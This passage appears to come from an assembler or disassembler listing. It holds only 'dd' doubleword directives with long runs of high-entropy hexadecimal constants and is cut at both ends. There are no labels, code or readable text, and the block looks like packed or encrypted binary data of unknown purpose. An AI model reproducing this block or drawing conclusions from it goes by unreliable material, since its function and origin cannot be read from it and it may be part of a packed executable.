0BEA4F088h, 11F4B265h, 7AA141E3h, 0E40F6C5h dd 0BF783605h, 51E8E229h, 9903072Dh, 81EB4A08h, 15A793Eh dd 0DB30BA52h, 831C1467h, 973CFEAh, 7CA22130h, 3797C180h dd 437D0344h, 0FDFCB00h, 59E9624Ah, 3050C7F9h, 0AC5874E5h dd 0F3211FF2h, 0A10CFD8Ah, 7008DE6Bh, 74496856h, 21E9091Ah dd 0F519A430h, 3987DC80h, 0B93A4ECEh, 0D3E541B4h, 0C87203D1h dd 28F4CD01h, 8FE684B7h, 8418A2EBh, 917BAEDh, 0B876962Fh dd 0D4B1D525h, 7807F95Fh, 4C8B59ACh, 208E123h, 0AC53D02Eh dd 7BF3E332h, 65A99C0h, 4EDFE2E9h, 50D4B4AAh, 0AE27317h dd 5F05FDE2h, 0F92F1D68h, 1A8B9E66h, 98EC3332h, 606C7F54h dd 1C936A45h, 0F7EE1527h, 1604DD6Dh, 8258C802h, 48AD87FBh dd 9B5CBBC3h, 0F81B2717h, 56B72A2Fh, 0AAF7818Bh, 21345803h dd 7BEAF602h, 3F34165Ah, 0CBAE4838h, 42445A6Dh, 74BEDA86h dd 74DFFB5Dh, 0E9CC454Ah, 2ADECD9h, 6A182D35h, 2D5D5E48h dd 0C11802F7h, 0E96577D4h, 302D7108h, 1625C62h, 6C70E25Ah dd 0A6693868h, 319BB5B1h, 7F5D9BF0h, 25F23856h, 0C1C5C949h dd 0D3DF0438h, 10CFA2EBh, 5601AF1Ah, 901710BEh, 0F9A2EC0Fh dd 34B01994h, 0B4555766h, 68206FDDh, 0D2E96FEDh, 4C2488BEh dd 609B35C0h, 0C13B48C5h, 0F3507F02h, 6A98293Fh, 37137E05h dd 0D70423D2h, 0E6E07FE9h, 9802ECC0h, 0E4C35F65h, 0F65634B6h dd 5D267B33h, 43C2C2F9h, 188C52C6h, 3C6A1E65h, 75826395h dd 0E2FC59Ch, 6167E4AEh, 0D2CC1E5Ah, 0D2DDFA1Ah, 93ED9F05h dd 9E387FA7h, 9BF69F73h, 2C1A529Fh, 5208F82Ch, 0A6CCB057h dd 9F7B247h, 22B115CCh, 3793DD06h, 3E5AC107h, 836F117Fh dd 0A43159FEh, 9E4181FCh, 12AF2830h, 95CCE5Dh, 7FD91C9Dh dd 4D54ED82h, 0D52D4058h, 88142DE9h, 0E299CBC6h, 0EB00511Dh dd 0B6E95536h, 5CC2E1A2h, 53BC5B70h, 50C954B8h, 0B57F487Dh dd 0B1D6B7A1h, 52F41D3Ah, 68AAE2D6h, 54557EB3h, 991E3F58h dd 0F9CD50CBh, 0D5123C63h, 97FCE84Fh, 7BF9457h, 3AB85003h dd 0DC62A728h, 545C4EF5h, 30E95B74h, 0C551A705h, 0D3285AC6h dd 3703963Ah, 2940D823h, 81C40CDh, 0B2FF9E9h, 94FF5964h dd 94C6FE4Ah, 0ADFE2DECh, 0ABB0F109h, 9A202C1h, 0C1500436h dd 0B80FDEh, 5C2DCA81h, 0C60C26Eh, 32CB56A6h, 9E41AA96h dd 54EAA168h, 0E9923073h, 6E9F8262h, 0E758973Fh, 60B04892h dd 0BB60FE60h, 0A62AEBh, 4DBD5533h, 0F7395D5Eh, 8202D551h dd 8527A8F0h, 82BAC1A1h, 84EE6144h, 0B09DEC7Ah, 0A28637F3h dd 5899A0F9h, 0B2CC44E9h, 0E75A0BD1h, 897DE8FBh, 0E6215AB5h dd 0BD7E1076h, 0BDC062Ah dd 90C445Ah, 9297F60Fh, 480544F5h, 958BF05Ch, 0EA09A460h dd 0BC3220FFh, 4C297240h, 0F20B2EDFh, 6C82B92Bh, 5903A6F4h dd 682E0989h, 0D2DA6CE2h, 17B29C5Ah, 0B7556F51h, 9FD4BB9Ch dd 287F8D0Dh, 0E804F403h, 0BA0EF180h, 2F423903h, 45F7F6D2h dd 4AC628CEh, 5F01B224h, 1210D686h, 0CC5AB268h, 3814B6B6h dd 5FC17E8h, 47354ECBh, 408057C4h, 0B831FEBEh, 6AFB80F0h dd 53A0475h, 0FAE168E9h, 62EF34CCh, 62C65F2Ch, 8285C51Bh dd 0C49AD8C9h, 0A1608B6Dh, 51B7BF29h, 0DFAB8CF7h, 79454149h dd 4F4E26Bh, 22E31E58h, 702C4E1h, 0B2CD4856h, 0CB9C5C2Ch dd 7402258h, 0BDA9B05Eh, 0AFAC8845h, 0EF5DE927h, 1F86D930h dd 56C7010Ch, 0BE2E52F2h, 73A3CED7h, 0F52F02FCh, 2C063A6Fh dd 314E2540h, 5169301h, 728A51F3h, 0A12D2A20h, 9F445D07h dd 8D522BC4h, 55761A01h, 3060412Eh, 7316B5D1h, 2954AFFAh dd 354FF186h, 207F30A6h, 79B5A811h, 0AECE027Eh, 0E8D701B3h dd 5B3EBA2Bh, 0DE39A039h, 0AE8A865Fh, 0CFAE547Eh, 59527751h dd 532663B4h, 0F9C81EA0h, 83D2C5ADh, 0DF2E74Fh, 814F005Ah dd 963E38EBh, 0DA893917h, 41AA7C85h, 0E9D60122h, 0E957C6D1h dd 0A0CC75D3h, 409A9013h, 71975D05h, 82552F79h, 77F3BFDBh dd 76B5F746h, 0B5AE42AFh, 66D78800h, 1B0F65Ah, 30FBB2A0h dd 0CC8058C2h, 0FA7528BBh, 5B05EA75h, 0B551DAF6h, 63815F84h dd 0BF00B2DFh, 74507632h, 173CCF9Eh, 0F7688C27h, 56A10D7h dd 0E9713D25h, 2D0ED08Dh, 0A0091F56h, 87C10109h, 7F0BFCE3h dd 702E716Ch, 56C20CEBh, 60EC5CB5h, 42C0369Ah, 5BDE210Ah dd 70038B55h, 0BE320139h, 0BD6E5830h, 9F028381h, 87E1EB17h dd 16878358h, 0A8036A53h, 7FE17BFEh, 91B72D7Eh, 72CA9D79h dd 0C61CD211h, 6FB55DBEh, 1A7582E2h, 0C9A7C296h, 0F92F5D69h dd 0DF5CA265h, 326BDAF1h, 7F094855h, 0EB79C0C8h, 1880578Ah dd 1770CC1h, 54004E11h, 4379BE6Bh, 0C351D37Eh, 140CA208h dd 0E92041F9h, 9B006E55h, 0AF27A605h, 0F8290614h, 0B49BB951h dd 0D9F73513h, 51AE008h, 0FE473168h, 0D3B83464h, 2790CE4Bh dd 87D08398h, 50D0BAEAh, 955CB79Bh, 5DC8E9F8h, 1674A433h dd 1F608E07h, 13120A74h, 68694240h, 291601D3h, 8BC45910h dd 13F1F99Bh, 4E92F868h, 0EA9722FDh, 92FE3B79h, 4CAC61DFh dd 7CC12181h, 6B751179h, 80BD094h, 43475F5Fh, 169B0E27h dd 0FCA092FAh, 0A59E8650h, 0A79CFD2Dh, 582F5E97h, 85E4D68h dd 0A3E9AB30h, 2D86AE1Bh, 16774401h, 685B0902h, 66F9411Ah dd 0D60DA88Bh, 3800CBCAh, 5D9C11CEh, 0E02CC0B4h, 45C0EC17h dd 5A181910h, 821ECD1Bh, 7902FB0Ch, 5FD9897Dh, 83A5BA10h dd 55018916h, 19F33041h, 0C43A22B9h, 0E1E18115h, 0F4E0FB23h dd 5A0C9D34h, 936166E9h, 85C1EAEh, 0B4CC9249h, 0C439F275h dd 0D91F2806h, 92372D05h, 0B2C58902h, 0FA77F5BCh, 0ABD4976Ch dd 25960820h, 50E95C85h, 5E25C6B8h, 1B90CED8h, 0F1C7E525h dd 0A7F92663h, 57D070F6h, 4BF017BFh, 0E29BA0C8h, 5DB1119Dh dd 68152C2Eh, 0C714782Ch, 3106006Bh, 9835F574h, 8C684A3Fh dd 0BDBEA4F7h, 0E9AFB560h, 9D4E4B9Dh, 7BA86F57h, 0FE840993h dd 2C29E7F5h, 1A5908C0h, 16FE5D16h, 878FB2ADh, 0C5A0C72Dh dd 51F02951h, 0D3F00705h, 55EB1623h, 9A2F0A5Eh, 36D5A757h dd 0B948B546h, 5281DCE3h, 0A7D4B83Eh, 2F9B3C31h, 417C4C84h dd 2057B835h, 0B1B53B96h, 54E24B93h, 0B02D2DAFh, 0EA27EF08h dd 4DB08235h, 9CF50D94h, 0D40F8AC2h, 0AAC16081h, 33482A02h dd 2FE93FF1h, 9F6DC482h, 681386CCh, 0F6BD03FEh, 7F2F5588h dd 75D6EF0Bh, 50A890AFh, 75E9805Ah, 402181BCh, 1005F19Ch dd 80AB1450h, 9686E9FCh, 48D0D39Dh, 1268E16Eh, 0B8658B61h dd 6BB37C78h, 0C132F75h, 54362DD6h, 90576133h, 6B560FCAh dd 0DF497E62h, 6C541883h, 29591009h, 0CBA982F9h, 2E2E49Ch dd 41886982h, 93F1EE01h, 0E1A2554Bh, 0D1D5BC0Ch, 0DBF66084h dd 2FB8CBFEh, 0EB30BD03h, 2DD82059h, 52F1AB7Ah, 0E69927BCh dd 0E9570882h, 0EE92DF5Ch, 0BA0256AAh, 0C2F1CE04h, 684D0312h dd 0BAE50A71h, 0D892261h, 19F23D8Bh, 2DF621F8h, 80E68D4Ah dd 7A58C180h, 0E9120AAFh, 3A35A1ACh, 7D914280h, 0BD1D791Bh dd 965457Eh, 2FE98E20h, 3261C9D0h, 6429782h, 0B7FD14F5h dd 0BD621171h, 21DE48ACh, 355197F9h, 4601E961h, 0C386C762h dd 197A9BAh, 0DF3FE5C8h, 9578A06Ah, 44009FA4h, 121077Ah dd 7FBA52FEh, 1C383FCCh, 57CDCA03h, 0C040E15h, 70774A92h dd 3F6C4F01h, 9BA14039h, 5E4F7805h, 7DEE32D2h, 685F9EA0h dd 6FE14425h, 27B1B5ECh, 879C3B80h, 9984C050h, 0B8495860h dd 55A0CE01h, 8742DC4h, 846B1F61h, 407136Ah, 4FABA1Bh dd 0E3AA2C33h, 0B03610BEh, 0EC1A8130h, 653E5A3Bh, 0C909905Bh dd 3E89876h, 53886C8Fh, 2E03C783h, 227554CFh, 260C022Eh dd 0F705172Dh, 0EC07D5F4h, 0CAC6B5Eh, 0B231737h, 0E9A40482h dd 2804D171h, 7E8ADCF3h, 914519BFh, 7DDA63C1h, 0C813DCEh dd 0DCA9A55Dh, 1BE986D6h, 8A80A6B7h, 0E43D575Ah, 9F79924Dh dd 8EAF0852h, 8DEC4BEAh, 0F1F5E9C5h, 0E3006F97h, 30ED6673h dd 4C140205h, 0C701502Fh, 50985B4Ch, 737A3E0Bh, 3086F434h dd 3A75EF5Ch, 0F731FC17h, 0A945AE09h, 9DB4564Fh, 784D66E1h dd 57B8C329h, 0D497AF70h, 0D3775ABAh, 1A35A60Ch, 0AE76B740h dd 0F1AF4F89h, 2464261Ch, 19DD25ACh, 79D0BF33h, 98F0FE60h dd 953C7640h, 5520D214h, 0C1801CD5h, 7DF1C18Ah, 287AEF68h dd 0CE8881C8h, 2DD35351h, 0B95AF9F0h, 0B7408390h, 10F9B75Dh dd 43286805h, 0E6B874FFh, 0EBE6122Ah, 4DDE43FCh, 2B56C519h dd 4760CEA5h, 61CB4186h, 0A9BD7A43h, 0CE61BFA4h, 8A3A69BAh dd 8F425A7h, 0CE27EF9Fh, 0BC12D7B5h, 0CD4E150Dh, 5F2D787Ch dd 6B65D62Eh, 0E9C72F54h, 2D01CC54h, 0ED793CACh, 0D35DDA5Bh dd 0B06544E6h, 0C6C197A3h, 37572F70h, 950B1DF0h, 1E9E0398h dd 936B9A3Eh, 0E320F490h, 0FB4643F2h, 0F05ACB6Ch, 1EC2DD71h dd 0CC485968h, 119C25C5h, 0C5A163CEh, 2F887A3Eh, 0AA5400F8h dd 335250Ch, 0E9277A63h, 579B09FFh, 1288E745h, 0C3310FAEh dd 45500896h, 0D8D9E961h, 8500D339h, 4809CA72h, 25FC5240h dd 0A7901A5Ch, 0CD656DB5h, 0F6EF44FBh, 0EFCAEB51h, 815E4F7Ch dd 22535CD1h, 2A210B8h, 0B630B707h, 5BFE02AAh, 2809A1DEh dd 0DB7B62C8h, 0B0E9C281h, 5D19E957h, 0EDCEB15h, 0A0882FE9h dd 0A8C2E213h, 0DA62104Ah, 80598274h, 0D8FD72F1h, 80CBB520h dd 3D93585Fh, 4AA7D83Eh, 0E9E7B7BCh, 0B7F8657Dh, 0F481F4C5h dd 87A4FE0Bh, 48C5424h, 79C055CBh, 801EF6B7h, 0B8B44E7h dd 801DCB3Bh, 0C1404107h, 0E252210Ch, 4078215Bh, 0F009D550h dd 0D1E95D08h, 3C680725h, 4CDF0914h, 9DE09A9Ch, 7368F059h dd 13FFF516h, 919BEFBCh, 0B323E90Ch, 214A5910h, 88B5F9ECh dd 0EF48BDE1h, 2CF1D154h, 0D625E0E9h, 0E8E9D8D0h, 0C6210C41h dd 268426B9h, 0EE012C74h, 81A2694h, 0EDAC551Ch, 60EB018h dd 2D032E14h, 0E22AF25Bh, 1168A18Fh, 3BD4F33Fh, 0B6E6B7E9h dd 0EFC105E6h, 959CB7ECh, 0D0042CCAh, 67C01EC1h, 0F92831B1h dd 0B450075Bh, 8389B6A1h, 0CED858E6h, 14A75E9h, 5AFA57F4h dd 0AE8744BAh, 0F80112A4h dd 1AD3664h, 67C9536h, 0B8381AE6h, 63B2419h, 1110C10h dd 41AF4CF1h, 1E782A40h, 77F759E9h, 1BDBBE03h, 0DEC835F8h dd 514CEED1h, 4AAA3838h, 87EA77AFh, 0BFDCF4C1h, 1A193DF4h dd 3A266C4Ch, 46045FFEh, 2DAE38E9h, 0E0A63BD6h, 5102804h dd 2624B358h, 7B004151h, 0E90AB164h, 0D4BF4F16h, 268E8257h dd 7525DE59h, 5CAF042Fh, 60CEB936h, 1EF681C8h, 9A7D277Fh dd 6D20F952h, 4C23BDA7h, 0BA847C96h, 0EE9667F3h, 1D66CD2Ch dd 12E779BFh, 0EB57BA31h, 9C0A7DBBh, 0D5E5F82Ch, 11E06912h dd 3F50E254h, 7624FDA2h, 0F20465DDh, 3BB0FE9h, 0C0F780F9h dd 0FE05EF88h, 0F9BC80A0h, 1E3F4A81h, 0B0F24B18h, 1EC2299Bh dd 0E608695Fh, 0A571F62Fh, 3BFFD9FAh, 53D24DE3h, 8B21BB11h dd 0F510AAE4h, 0E20E4E63h, 0C95E2D1Ch, 22FE827Ch, 0E6045E5Fh dd 801890C0h, 20C63E6h, 0E9C626FEh, 2E9225FEh, 305CBF42h dd 66535207h, 0D9B1B233h, 0F72FF4FDh, 605A7BE2h, 0FF5DD709h dd 68594600h, 0AB9B5E1Fh, 9116619h, 0BDDEF02Bh, 0B54FC60Bh dd 0D8E1A047h, 2FE9EFF5h, 0BAAE26C7h, 0CDF16CE9h, 1528B003h dd 25CF7F25h, 58649792h, 0C9E971B7h, 0CCC26002h, 3B72F30Eh dd 3FE918EFh, 0E16D81F1h, 37266739h, 2B36C0DAh, 892C14AEh dd 0EC18AACBh, 0CF1296Bh, 60BA7413h, 2F8B4008h, 6E005078h dd 517D6A6Bh, 5106853h, 5B097B27h, 518A8D1h, 3A179D9Bh dd 57E032F8h, 0CE5F01E9h, 13D3EAEDh, 2038FEF8h, 0AED05542h dd 0F557BAD3h, 0C2DEC225h, 0D0D25922h, 3C18817Eh, 70404D5Eh dd 67E2F23h, 9A592240h, 0D8860382h, 0C2431609h, 3B8BB158h dd 5619418Ah, 7D8605Bh, 0F5FB4865h, 0EECB432Fh, 40553AB9h dd 69A2DEA3h, 0CF210C0Ah, 0BB018C59h, 1AFA7DEEh, 0EC5B8343h dd 0B5FF2ACCh, 0CD875002h, 0B030F1DCh, 985A25A2h, 14D6F6C4h dd 0BD37B475h, 0E2F61E20h, 0C52E8809h, 13060427h, 7F467E82h dd 3097C07Ah, 0BDF55783h, 49597410h, 7FC330B5h, 0FED2584Fh dd 93C4562Ch, 84F1FC5Bh, 359331D0h, 4AB8BAF9h, 0EDAC0331h dd 0F7679030h, 0D644BF89h, 514A4DB2h, 0F07CE021h, 0E4EBB854h dd 0A841FCCEh, 0D495802Eh, 97C4512h, 3B431A2Fh, 714BD937h dd 4B4AD948h, 2A80894Eh, 7CFCD3E1h, 0BB7F0011h, 80EE8393h dd 0C59FCB01h, 0E7078878h, 3C007D25h, 4B525CC2h, 64385A7Eh dd 70F64E45h, 1DB6B91Dh, 0E1C14B19h, 0EB059CFCh, 81004C7Ch dd 405073F6h, 1EFDA071h, 68C00934h, 0B08F129h, 0EED42508h dd 12CFD3ADh, 68978054h, 65B5565Ch, 49D9A61Ch, 5F16E2DCh dd 4A7504B8h, 252BEF3h, 10AD370Dh, 1C5A8400h, 0BD0E5B64h dd 23A0041h, 0F0E94186h, 5292BFF3h, 30CF5F7Eh, 1AF73C2Dh dd 0AEE88079h, 4B286A47h, 50AEAC5Bh, 7048DADh, 53E94C3Ah dd 0FB3B17EAh, 4B7350DEh, 58F263E3h, 0CCAAEBDh, 51C9680Bh dd 7E2464E6h, 5565C3CCh, 0EA0482h, 0CA0765BBh, 302E267Ah dd 0DFB47370h, 0DEAB7E95h, 123D48ABh, 39EF5126h, 37B96FC1h dd 0E5A7A818h, 2016F1CDh, 69E82F15h, 0ECF41396h, 4CADE346h dd 0B99780A9h, 0FC1451C7h, 4E481715h, 450F48A9h, 3F0F2108h dd 2BB9F087h, 422D478h, 0E03A8E40h, 0DB092DD7h, 4659523h dd 7F38086h, 0A6573613h, 9A4410Eh, 0F70D8A70h, 5E96F9D7h dd 6858D541h, 8C6B549Bh, 14BD0168h, 21E926C0h, 55D80C1h dd 53D208E2h, 2DC80114h, 0C275107h, 0CC531B5h, 0A54003E9h dd 27135635h, 652D0E2Ah, 5096F878h, 68C0B7A6h, 29542EB4h dd 8AEEC09Dh, 1D6F2D46h, 62F70FD8h, 25575826h, 9C712231h dd 3194FDE6h, 0A00D1B20h, 9EBA77F1h, 86698850h, 5376806h dd 63C7240Bh, 79E962C5h, 0D055F96Ah, 74ED4CB4h, 0EE498217h dd 813A2C4h, 8F0A1004h, 31ADBF00h, 0C19774DEh, 14F94FC2h dd 75FDA87Ah, 0B3E6DBDh, 62E867E9h, 776FF8F3h, 1B2D6504h dd 2F681F2Ch, 159876AFh, 0D9301D7Ch, 338CAE2Eh, 0E62176CDh dd 4F3A12F3h, 4EA7B80Ch, 0F71687BCh, 0A1FC12DDh, 0CB616F57h dd 8B7B81F4h, 68AB610Fh, 172618DAh, 1370A210h, 0EEF0FEE9h dd 0A75EB75Ch, 7404C624h, 0E1820220h, 8222D44Ah, 53DD2EA3h dd 0BB7C307Fh, 7BDFC5Eh, 0F1E38115h, 0C1CEDE56h, 703CDh dd 0BE04728Fh, 34A8FCA1h, 0EFB03144h, 4478392Dh, 89555A60h dd 21C23B18h, 6E71CABDh, 25717482h, 2FAC1B93h, 0FEBD0708h dd 0AEC66476h, 0D4E31499h, 0A50A0C58h, 0F64CC925h, 0C46E0B95h dd 0AA092616h, 7F591B5Eh, 0AE62222Eh, 9F5840Bh, 3CEEF76Eh dd 0A34AE970h, 64C414B8h, 97B81652h, 0CD0C0F48h, 0D63CFA2Ah dd 0CE8102A0h, 0B4110505h, 0E5BB4E6Ch, 598B306Ch, 575A74B4h dd 16622AF9h, 5B195DD0h, 0FD7FA580h, 3AC84FBCh, 9CAC1DDDh dd 5868ED2Ch, 532F081Ah, 0C03D6249h, 5E8E547Eh, 72C5A0ACh dd 29415F1Dh, 882A9A8h, 0BF1ECCF4h, 600E960Bh, 9FE6D1B6h dd 0DEF449h, 4B29E46Bh, 7FC54B69h, 0DE2D0BC0h, 3B5C4E07h dd 0D5F2E405h, 43455109h, 0F68D1068h, 4C4909A7h, 15ED0267h dd 0C66D0CD2h, 0C38AD002h, 0DEF531D9h, 387570F0h, 0B1137A24h dd 0A1684502h, 8B1FD934h, 4C4554Fh, 2C862C8h, 301C3BFh dd 5F1F8E0h, 0D78018BDh, 0C7189D13h, 260287C7h, 0F9315168h dd 4E40DD5Fh, 0F1B5D79Ah, 0B87FA741h, 84B850D4h, 8C46E918h dd 7D415D7Bh, 81589D54h, 2514BEA0h, 0FF291D2Dh, 6272F020h dd 1F51633h, 9389B0D5h, 0DD0006E6h, 46AD6BDCh, 58B05097h dd 0DB209652h, 2B326814h, 0E3B3CFB1h, 507EBC0h, 0E3800606h dd 5D0EFE26h, 0F8C5E19Ch, 0EDF0CDFEh, 0FCE91287h, 0A6C2AD63h dd 59580008h, 0CA685155h, 135AEF38h, 4B73BC55h, 0C04BC23Ah dd 1BBF57BEh, 3CE46E0Fh, 48E32647h, 0BCEB0533h, 0F937D562h dd 2D08418Ch, 89902D2Ah, 0A52B5F19h, 98918DD8h, 6BB8F5A7h dd 6825D5F7h, 6848DE12h, 2568C812h, 0C9208D16h, 2D697CBh dd 0A34942h, 0E3D1DBF7h, 1480BAC1h, 0E56166F6h, 0C57AA5B4h dd 85DD8011h, 0E5EE4D4Bh, 257B0F13h, 3FF070F0h, 1257993h dd 310EF409h, 0AB6E1EA0h, 0B90F517Dh, 0B334069Fh, 57964901h dd 9520442Fh, 7407164Ah, 99D50A69h, 70FC40E0h, 79B82342h dd 8ABC1F0h, 9ADBA2CCh, 0FC482F7h, 0EEABE9F0h, 177532DDh dd 0AC143C40h, 49157BC3h, 0B8016817h, 38C95DFCh, 0B0A4EC55h dd 5BDD4FC0h, 780D5F6h, 0EDC00FCDh, 30606E05h, 47E9E828h dd 0B87507BDh, 2B875890h, 0C918CFD1h, 29BD0270h, 0C012DE4Eh dd 4A6BCAA5h, 8D4CA069h, 95435913h, 0A4B187AAh, 0F5EAB427h dd 0EB690A02h, 0FFCD8703h, 0ECC98FAh, 7E722045h, 6F4048A8h dd 0B893CB27h, 5D3CBE2Dh, 5B542910h, 0D8CA029Eh, 0ED94772Dh dd 49386817h, 6C0D6FCh, 0E9E4B151h, 0FA79A027h, 24037859h dd 0BED423DEh, 1326D9CCh, 0BE7D12E3h, 35BF4464h, 7DC1ADB1h dd 6F3A7CB5h, 2F095489h, 8641F143h, 17AE26D2h, 1E607B03h dd 245F7AD0h, 70F595Ch, 194F1692h, 47C144E1h, 8561CE9Bh dd 7001A20Ch, 69B1022h, 1528B9E0h, 68360978h, 987D488Bh dd 28320946h, 79A3DB8h, 9C6CD2EFh, 2815C244h, 349DE479h dd 2DEA5B78h, 0A9C6FC74h, 0EE816296h, 0F4499C8h, 2DBD6F1h dd 2577F69Dh, 0BF607C89h, 0E1257412h, 0A0A05E70h, 40E91808h dd 96F533AFh, 6A3B3612h, 30CD980Ah, 16D73E82h, 0E104573Dh dd 2D9AD20h, 561A10F2h dd 97F17492h, 0E14B33C1h, 177066F8h, 0E299E927h, 608FD4E6h dd 9F71F8C8h, 0AD404EFEh, 0E180BBAh, 0CBF558A8h, 14AE798Eh dd 8BEBD9BFh, 68079020h, 6C1A1536h, 81710A2h, 2BB709F6h dd 0BF549E55h, 0D7628359h, 4916F709h, 756B629Ch, 0E9B03664h dd 0B2474002h, 0C895E90Ah, 0C69BE8Ah, 0B8083C2Dh, 0B4280BEEh dd 0F7649631h, 92AC66B1h, 0A0BD84h, 351E8A2Dh, 0D031397Dh dd 4A08C230h, 9202D2F7h, 455F780Dh, 4DCB401Dh, 319695C1h dd 5A3D5B48h, 7C4C3FF7h, 5055C25Eh, 562F8295h, 0C7597ACFh dd 7F5C6884h, 290A30AAh, 674A7763h, 8F4F67FBh, 5A8E392h dd 22C377E4h, 7444081Eh, 0ACB965A5h, 275E5506h, 44ECD80Dh dd 0DD32A425h, 0EE5B6605h, 680BFFE3h, 0EC591FF7h, 6D51DE84h dd 0D4957C82h, 5350164Bh, 39CFBFB7h, 0B5E87B7Ah, 0BD6A4D51h dd 0DD34F52Fh, 0DA66E912h, 3424DBEEh, 0F4045566h, 68029FC9h dd 9FB14718h, 61E83A33h, 0A45F4EC1h, 86834301h, 7B3EDFB1h dd 0F30290B8h, 12300F0Ch, 5C20F2Fh, 71802D4Bh, 5C5258B3h dd 0D5517966h, 1C8B0801h, 0E9612C6Ah, 4E48A34Dh, 0C5739899h dd 0F265B716h, 0D2B4804Fh, 0CB9183E9h, 22D5E815h, 0BCDC389h dd 74E10057h, 5AF7317Eh, 2452BFD7h, 0CB0A67BCh, 0DD7EA14h dd 31186D77h, 5A6307Dh, 74F9D49h, 0EE23E87h, 5DB88EA5h dd 396EB902h, 0E2DF067Dh, 8F7955A1h, 12EBD945h, 70EF254h dd 3370236Ch, 3A858DE6h, 449E3ABAh, 0F025931Ch, 0CA1E30D4h dd 2748D9F6h, 0C95E1F9Bh, 622750C5h, 535922CBh, 0C26FC05Dh dd 5E0A5C01h, 83A15551h, 9ED308F6h, 27097027h, 0C6545BF2h dd 0F1FAC00Bh, 8711424Bh, 49A82409h, 0EB0288A9h, 96D08B9Ch dd 0A03E9476h, 0F8891EDDh, 0B3F30C57h, 44972110h, 9018C7F2h dd 0C65F0BACh, 9EA1ED99h, 0EE80AD93h, 56254B41h, 891DDCA1h dd 75FB09E9h, 76B52A96h, 79D62D5Ch, 50277C7Ah, 0EB09F781h dd 2B0672h, 7F771907h, 175B015h, 632647EAh, 47E64E9h, 8A809004h dd 38C8DED6h, 0EC5F382Dh, 5652B010h, 34860B68h, 8F7835A9h dd 890F8465h, 0D5D873BFh, 64F0138Ch, 7B691099h, 4AA10B31h dd 63987D4h, 0AD38F749h, 470B34BDh, 204D69E2h, 68E0E553h dd 7E809FD2h, 53B03DF0h, 893B659Fh, 0D0527F3Ch, 4F1FE0B5h dd 0A81B4B11h, 0A5DE6225h, 0E821031Ch, 1AFA05C8h, 2D319002h dd 0DF7235F3h, 25B099E0h, 0E92BAB05h, 94217D89h, 0CC7F8FEDh dd 0EF32B0A3h, 7AAEEA51h, 0F805202Fh, 1B4582BDh, 5B680107h dd 0E86FE532h, 73917338h, 0F117560Bh, 42782DCEh, 0ED3D2F0Fh dd 0A596E576h, 7A5579BFh, 6E7A2521h, 0C0D9B503h, 7150FEEDh dd 171DC53Ch, 0EE03E5h, 0F52820E1h, 0EC7013E9h, 7A1C7E97h dd 0B0BF92D2h, 829C3DB6h, 0E89D5C86h, 0BD718F4h, 3F5BD9EFh dd 0E386128h, 0E941841Ah, 0A882A9EAh, 2567BD51h, 0A9DE850Bh dd 0DAE5DD7Fh, 516EF4C2h, 0D21B9475h, 0C8FE0905h, 0A3986C0h dd 284C9BE6h, 0CE800E9Bh, 7CF66750h, 0AEA2F395h, 0D833E0C4h dd 83BF3BDDh, 0FB16B9DAh, 0AC80DCF8h, 5A88556Fh, 12A9D465h dd 6802BE08h, 0F8672D72h, 0B61D30A6h, 7E7C140h, 9CCC2CC1h dd 0C53BB1E0h, 0C405E8D4h, 0B80FCECBh, 14503522h, 20D8965Fh dd 1613010h, 580F0540h, 0A62F61E9h, 0A1E90B90h, 0C1B39C53h dd 0D05DFA2h, 0FA25CC26h, 88D9F232h, 0C90ED158h, 0B976C284h dd 2D538D6Ah, 0B71E75F8h, 62909B46h, 5E27F84Bh, 5556D332h dd 57A8535Ch, 8980083Bh, 0BDDF6C3h, 8C06D55Ch, 0C0120622h dd 0AAE00EE9h, 97E4B558h, 0F0190097h, 0F02D1807h, 0A7049547h dd 0D42909F4h, 68E97826h, 0DEF638E3h, 7DB0A657h, 494677B1h dd 0B903E821h, 3DAD657Bh, 0DCA24CD2h, 0E07D015Eh, 618766h dd 0F5814899h, 605B3C29h, 5088E927h, 675E4983h, 0A0EE7C6h dd 0C0B70F09h, 6F1E0466h, 758380E8h, 0AF8CFF9Bh, 20E9A93Ch dd 68259E63h, 0C0E99BCCh, 4F1B7606h, 0A535AA36h, 0CBEC04EEh dd 0E194EFFCh, 0E970D0FAh, 67B494EAh, 68629060h, 0C1894F47h dd 24ADC007h, 702E053h, 9BBD4D05h, 0B178D519h, 0BCA01626h dd 5DB7D1C2h, 25BDFF79h, 48E6E4E5h, 0A63A9358h, 90780310h dd 0DDB34A08h, 871BB4D3h, 0DE31C540h, 54C40928h, 0B281C9FCh dd 0BEC18078h, 2FE0069Ch, 0EF3A68F6h, 5A666506h, 0F62C2FC6h dd 71765E99h, 7EC80FB9h, 0BBA592A2h, 0F7505449h, 0E924051Eh dd 0DCA71217h, 4E082DC1h, 2EC404AFh, 5102BBB8h, 0C0BA77E3h dd 8357D927h, 9A7662E7h, 0CA59525Dh, 8BB689EFh, 33D5CF98h dd 0D7A6CAD0h, 83695CD1h, 859D6547h, 85BFF6BBh, 71FA59E9h dd 9E6DE33Bh, 4F38EAC7h, 8FCD54BBh, 0EEDC404Eh, 52F72B4Dh dd 68250176h, 0C0917EBCh, 15461F50h, 19E5C95h, 0B84ECBFDh dd 2EE7C1E9h, 9C419641h, 0C12A49D3h, 70505FF0h, 209DEB05h dd 0ED4FD0F6h, 0E6810220h, 2EB91BFDh, 6E3340D7h, 0AA40E373h dd 2FFA479Bh, 0FB5E4E2Ch, 15A084C7h, 4EDFE909h, 7A449996h dd 171C0B8Ch, 9D602F12h, 0E90601E2h, 0D2167B29h, 7C3B74F1h dd 0BC5BFA4Ch, 2D21BDC8h, 0BFDCC07h, 2735CB55h, 72D96154h dd 0E90CB825h, 2A4E417Dh, 0E44F24CBh, 8354E9D4h, 26EF5FD6h dd 0F38C36B9h, 98E3EE84h, 504F5AE8h, 2A7D08B1h, 181479B9h dd 0CA276B4h, 6137DF1h, 0CFEC613Eh, 0A9590885h, 0B358A8Ch dd 8BFF0C97h, 42BE2F02h, 4EE79C44h, 5CC709C4h, 4A3B61DBh dd 0BC4EB8E8h, 96EC5B89h, 0AC2105B4h, 0E196BCF6h, 5060D821h dd 0FD7BE5E8h, 6D56CCB1h, 0BD16FF7h, 26F031A7h, 530908C6h dd 1A121368h, 7D80C069h, 7EE52F4Dh, 7C199347h, 0B16A891Fh dd 0AD6238DCh, 5F072564h, 8B0DF25Eh, 0C01B765Bh, 88513DB2h dd 0EB4BD572h, 0E32768CBh, 2B5419E1h, 400655C8h, 0D17B8831h dd 85D971C4h, 59CEBB00h, 5998A6F8h, 4BE8324Eh, 45345C4h dd 0C0BFEED1h, 0D2E54E97h, 34E7697Eh, 0E046852h, 8B564338h dd 